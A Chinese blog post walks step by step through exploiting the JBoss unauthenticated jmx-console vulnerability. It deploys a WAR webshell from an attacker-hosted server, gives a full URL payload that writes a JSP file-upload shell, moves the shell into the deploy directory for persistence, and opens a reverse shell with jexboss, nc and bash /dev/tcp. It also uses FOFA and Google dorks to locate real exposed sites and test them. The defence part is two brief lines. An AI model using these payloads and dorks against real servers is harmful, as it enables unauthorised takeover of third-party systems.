JBOSS未授权漏洞详细复现
涂寐 Lv5

0x00 前言

习常规而明其理,探非凡且有所见。 –涂寐
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io

0x01 JBOSS未授权访问简介

  • JBOSS是一个基于J2EE的开放源代码应用服务器,也是一个管理EJB的容器和服务器,默认使用8080端口监听。
  • JBOSS未授权访问漏洞表现为,在默认情况下无需账密就可以直接访问 http://127.0.0.1:8080/jmx-console 进入管理控制台,进而导致网站信息泄露、服务器被上传shell(如反弹shell,wget写webshell文件),最终网站被攻陷。
  • 该漏洞影响所有低版本的JBOSS,对其下用户影响深远。

0x02 JBOSS未授权复现一

1、Docker容器搭建环境

1
2
3
4
5
6
7
8
#搜索JBoss环境
docker search testjboss

#选择需要的环境
docker pull testjboss/jboss

#实例化testjboss/jboss镜像
docker run -d-p 80:8080 testjboss/jboss

image

image

2、访问127.0.0.1,找到漏洞点

image

image

image

3、生成warSehll

1
2
3
#自备脚本tumei.jsp
#生成war命令
jar cvf admin.war tumei.jsp

image

4、apache2部署远程服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#安装apache2
apt-get install apache2
#apache2所有文件所在位置
/etc/apache2
#apache2运行文件
/etc/init.d/apache2

#查看kali默认web站点位置是否含有/var/www/html
cd /var/www/html
#不存在,创建/var/www/html目录
mkdir -p /var/www/html
#将admin.war移入/var/www/html
cp admin.war /var/www/html

#开启apache2服务
service apache2 start
#确认已开启
service apache2 status
#访问web站点
http://127.0.0.1/
http://192.168.31.133/

image

image

4、通过addurl参数远程部署Shell

1
2
3
4
5
#远程服务器中war包的位置
http://192.168.31.133/admin.war
#war上传成功,会显示成功界面。
#也可以直接访问http://127.0.0.1/jmx-console/,查看http://127.0.0.1/jmx-console/,是否含有对应的war包
#抑或,访问http://127.0.0.1/admin/,显示war包中文件tumei.jsp

image

image

image

image

5、成功getshell,上传永久shell

1
2
3
4
#由于当前目录的shell仅能临时获取权限,因此把shell传到jmx-console的默认目录来巩固权限
#jmx-console的默认目录路径
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/
#直接利用文件管理传shell,避免临时目录下的shell被删无法连接

image

image

0x03 JBOSS未授权复现二

1、查找JBOSS站点

①Google语法产找相关站点(有丢丢少,大概是浏览器的问题吧):inurl:”8080/jmx-console/“
②FOFA空间搜索引擎语句:**”jboss” && port=”8080” && country=”CN”**
image

2、JBOSS漏洞检测

①各位师傅若有闲情,可以先使用nmap工具扫描8080端口是否开放(nmap -PN ip),但笔者使用fofa搜索时限定扫描了8080端口,直接访问http://ip:8080/jmx-consolehttp://ip:8080/web-console就好了,成功,确认未授权的存在。
image

image

②手工传马,直接URL中写入大佬的一句话shell(写入文件功能),并可以通过脚本(shell.jsp)在其同级目录下新建其他文件(注意进行编码绕过)。

1
2
#写文件功能
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
1
2
3
4
5
6
7
#arg0:war包的名称,arg1:文件名称,arg2:文件后缀名,arg3:文件内容
#f=文件名,t=脚本文件内容(注意进行编码绕过)
#文件写入举例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh
#文件访问举例
http://127.0.0.1:8080/August/admin.txt
#对应URL解码
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True

image

image

0x04 JBOSS未授权复现三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#尝试下大佬写的检测工具:https://github.com/joaomatosf/jexboss
#jexboss是一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell

#git下载jexboss
git clone https://github.com/joaomatosf/jexboss
#切换jexboss所在目录
cd jexboss-master/
#执行检测192.168.31.131,此
处端口为80
python3 jexboss.py -u 192.168.31.131:80

#机器A反弹shell到其他机器(B)
#B机器(192.168.31.131)开启监听
nc -l -p 666
#A利用jexboss连接jboss后,反弹shell到机器B的666端口
bash -i >& /dev/tcp/192.168.31.131/666 0>&1

image

image

image

image

0x05 JBOSS未授权防护

1、对jmx-console和web-console界面访问增加强认证。
2、关闭jmx-console和web-console,提高安全性。

0x06 后记

漏洞复现很简单,尝试了多种方式,非常不错,学到挺多的。原本想着尝试学大佬做防护,但重启容器后看不出有什么改变,还是继续努力吧。 –涂寐

0x07 知识链接

 评论